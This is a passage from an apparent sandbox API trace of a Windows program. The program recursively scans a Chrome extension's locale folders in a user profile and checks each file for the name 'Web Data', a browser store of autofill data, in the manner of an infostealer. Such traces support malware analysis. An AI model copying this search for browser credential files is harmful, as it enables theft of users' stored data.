lpString2=".") returned 0 [0056.443] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.443] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.443] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.443] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.443] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.443] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.443] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.443] LocalFree (hMem=0x2e0100) returned 0x0 [0056.443] LocalFree (hMem=0x2e0210) returned 0x0 [0056.443] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.443] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.443] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.443] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.443] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.443] lstrlenA (lpString="\\") returned 1 [0056.443] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.443] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.443] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.443] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.443] lstrlenA (lpString="hi") returned 2 [0056.443] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.443] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.443] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi" [0056.443] LocalFree (hMem=0x2e0100) returned 0x0 [0056.443] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi") returned 131 [0056.443] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi") returned 131 [0056.443] lstrlenA (lpString="\\*.*") returned 4 [0056.443] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.443] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.443] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.443] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.443] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.443] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.443] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.443] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.443] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.443] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.443] LocalFree (hMem=0x2e0100) returned 0x0 [0056.443] LocalFree (hMem=0x2e0210) returned 0x0 [0056.443] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.443] lstrcmpiA (lpString1=".", lpString2="hr") returned -1 [0056.443] lstrcmpiA (lpString1="..", lpString2="hr") returned -1 [0056.443] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.444] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.444] lstrlenA (lpString="\\") returned 1 [0056.444] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.444] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.444] lstrlenA (lpString="hr") returned 2 [0056.444] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.444] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.444] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr" [0056.444] LocalFree (hMem=0x2e0100) returned 0x0 [0056.444] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.444] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.444] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.444] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.444] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.444] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.444] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.444] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.444] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.444] LocalFree (hMem=0x2e0100) returned 0x0 [0056.444] LocalFree (hMem=0x2e0210) returned 0x0 [0056.444] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.444] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.444] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.444] LocalFree (hMem=0x2e0100) returned 0x0 [0056.444] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.444] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.444] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.444] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.444] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.444] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.444] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.444] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.444] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.445] LocalFree (hMem=0x2e0100) returned 0x0 [0056.445] LocalFree (hMem=0x2e0210) returned 0x0 [0056.445] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.445] lstrcmpiA (lpString1=".", lpString2="hy") returned -1 [0056.445] lstrcmpiA (lpString1="..", lpString2="hy") returned -1 [0056.445] LocalFree (hMem=0x2e0100) returned 0x0 [0056.445] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.445] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.445] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.445] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.445] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.445] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.445] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.445] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.445] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.445] LocalFree (hMem=0x2e0100) returned 0x0 [0056.445] LocalFree (hMem=0x2e0210) returned 0x0 [0056.445] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.445] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.445] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.445] LocalFree (hMem=0x2e0100) returned 0x0 [0056.445] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.445] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.445] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.445] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.445] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.445] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.445] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.445] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.445] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.445] LocalFree (hMem=0x2e0100) returned 0x0 [0056.445] LocalFree (hMem=0x2e0210) returned 0x0 [0056.445] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.445] lstrcmpiA (lpString1=".", lpString2="is") returned -1 [0056.445] lstrcmpiA (lpString1="..", lpString2="is") returned -1 [0056.445] LocalFree (hMem=0x2e0100) returned 0x0 [0056.445] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.446] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.446] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.446] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.446] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.446] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.446] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.446] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.446] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.446] LocalFree (hMem=0x2e0100) returned 0x0 [0056.446] LocalFree (hMem=0x2e0210) returned 0x0 [0056.446] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.446] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.446] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.446] LocalFree (hMem=0x2e0100) returned 0x0 [0056.446] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.446] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.446] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.446] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.446] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.446] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.446] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.446] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.446] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.446] LocalFree (hMem=0x2e0100) returned 0x0 [0056.446] LocalFree (hMem=0x2e0210) returned 0x0 [0056.446] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.446] lstrcmpiA (lpString1=".", lpString2="iw") returned -1 [0056.446] lstrcmpiA (lpString1="..", lpString2="iw") returned -1 [0056.446] LocalFree (hMem=0x2e0100) returned 0x0 [0056.446] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.446] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.446] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.447] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.447] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.447] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.447] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.447] LocalFree (hMem=0x2e0100) returned 0x0 [0056.447] LocalFree (hMem=0x2e0210) returned 0x0 [0056.447] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.447] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.447] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.447] LocalFree (hMem=0x2e0100) returned 0x0 [0056.447] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.447] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.447] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.447] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.447] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.447] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.447] LocalFree (hMem=0x2e0100) returned 0x0 [0056.447] LocalFree (hMem=0x2e0210) returned 0x0 [0056.447] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.447] lstrcmpiA (lpString1=".", lpString2="ka") returned -1 [0056.447] lstrcmpiA (lpString1="..", lpString2="ka") returned -1 [0056.447] LocalFree (hMem=0x2e0100) returned 0x0 [0056.447] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.447] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.447] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.447] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.447] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.447] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.447] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.448] LocalFree (hMem=0x2e0100) returned 0x0 [0056.448] LocalFree (hMem=0x2e0210) returned 0x0 [0056.448] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.448] lstrcmpiA (lpString1=".", lpString2="km") returned -1 [0056.448] lstrcmpiA (lpString1="..", lpString2="km") returned -1 [0056.448] LocalFree (hMem=0x2e0100) returned 0x0 [0056.448] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.448] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.448] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.448] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.448] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.448] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.448] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.448] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.448] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.448] LocalFree (hMem=0x2e0100) returned 0x0 [0056.448] LocalFree (hMem=0x2e0210) returned 0x0 [0056.448] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.448] lstrcmpiA (lpString1=".", lpString2="kn") returned -1 [0056.448] lstrcmpiA (lpString1="..", lpString2="kn") returned -1 [0056.448] LocalFree (hMem=0x2e0100) returned 0x0 [0056.448] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.448] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.448] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.448] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.448] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.448] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.448] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.449] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.449] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.449] LocalFree (hMem=0x2e0100) returned 0x0 [0056.449] LocalFree (hMem=0x2e0210) returned 0x0 [0056.449] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.449] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.449] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.449] LocalFree (hMem=0x2e0100) returned 0x0 [0056.449] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.449] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.449] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.450] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.450] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.450] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.450] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.450] LocalFree (hMem=0x2e0100) returned 0x0 [0056.450] LocalFree (hMem=0x2e0210) returned 0x0 [0056.450] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.450] lstrcmpiA (lpString1=".", lpString2="lo") returned -1 [0056.450] lstrcmpiA (lpString1="..", lpString2="lo") returned -1 [0056.450] LocalFree (hMem=0x2e0100) returned 0x0 [0056.450] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.450] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.450] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.450] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.450] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.450] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.450] LocalFree (hMem=0x2e0100) returned 